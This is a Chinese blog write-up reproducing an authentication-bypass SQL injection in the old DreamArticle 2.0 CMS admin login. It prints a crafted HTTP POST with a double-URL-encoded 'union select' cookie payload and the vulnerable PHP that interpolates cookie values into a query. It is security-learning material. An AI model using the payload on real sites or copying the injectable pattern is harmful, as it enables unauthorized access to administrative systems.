DreamArticle2.0后台登录漏洞复现

一个很老的CMS了。
最近在学代码审计,看到网上有人提到这里的漏洞就想复现出来。先上图
DreamArticle2.0后台登录漏洞复现_第1张图片
原文:
利用DreamArticle 后台验证漏洞直接登陆后台:
http://www.webjx.com/security/leak-11941.html

构造以下post请求

POST /da/admin/index.php HTTP/1.1
...
Cookie: PHPSESSID=ci49apcu773lhpug1vd6kv6ub1; iDreamSoft_iCMS_AUTH=9ac6MxBR983xzuQb2oTLXuK%2BYVCAWytYzUACr6%2Fztq2yb6gJquFK8F4tEyXZwDns6YvUbBDaHENODiHjAYUJL0f54QtjvqswkWmwbRrV3CVprtRZgw; XDEBUG_SESSION=PHPSTORM; iDreamSoft_admincode=2126; 

#关键的两个cookie:
iDreamSoft_administrator=dsaf%2527 union select database()#; 
iDreamSoft_adminpassword=dreamarticle;

username=admin&password=adsdadn&codestr=2126&action=l

在chrome中安装EditThisCookie添加cookie(其实我今天手抖,双击了两下开发者工具中的application->storage-cookie下的空行居然可以直接添加cookie,但是后来无法复现了。)
本地修改action的值就可以提交

漏洞原理(2.0版本和网上文章的3.0版本还是有些不一样的):

admin/global.php

$adminid	=intval(get_cookie("adminid"));
$administrator	=get_cookie("administrator");
$adminpassword	=get_cookie("adminpassword");

// 验证是否处于登陆状态
if ($administrator && $adminpassword && get_cookie("admincode")) {
	islogin($administrator,$adminpassword);
} else {
	...
}

由于get_cookie存在urldecode函数,所以可以用%2527绕过:

function get_cookie($name){
	global $_COOKIE,$cookieprename;
	if (isset($_COOKIE[$cookieprename.$name])) {
		return urldecode($_COOKIE[$cookieprename.$name]);
	}
	return FALSE;
}

admin/function.php

function islogin($username, $password) {
	global $DreamCMS;
	if (empty($username)||empty($password)) {
		set_cookie("admincode",'',time() - 31536000);
		set_cookie("adminid",'',time() - 31536000);
		set_cookie("administrator", '',time() - 31536000);
		set_cookie("adminpassword", '',time() - 31536000);
		_print('login','admin');
		exit;
	}
	$pwd = $DreamCMS->db->get_var("SELECT password FROM `#DC@__admin` WHERE name='{$username}'");
	#就是这里存在一个注入
	//echo "$username\t$password";
	//echo "pwd=$pwd";
	if ($pwd != $password) {
		set_cookie("admincode",'',time() - 31536000);
		set_cookie("adminid",'',time() - 31536000);
		set_cookie("administrator", '',time() - 31536000);
		set_cookie("adminpassword", '',time() - 31536000);
		_print('login','admin');
		exit;
	}
}

这里还有个问题是,直接用burp的repeater发包会返回

你的浏览器版本过低!!!本系统要求IE5及以上版本才能使用本系统。

另外是debug了还没看懂这个CMS验证通过后是如何跳转到管理页面的。。

收获:
另外无意间发现了在浏览器不设代理,xdebug开启的情况下,burp的包也能直接走phpstorm直接debug,不知道是什么原理。

你可能感兴趣的:(DreamArticle2.0后台登录漏洞复现)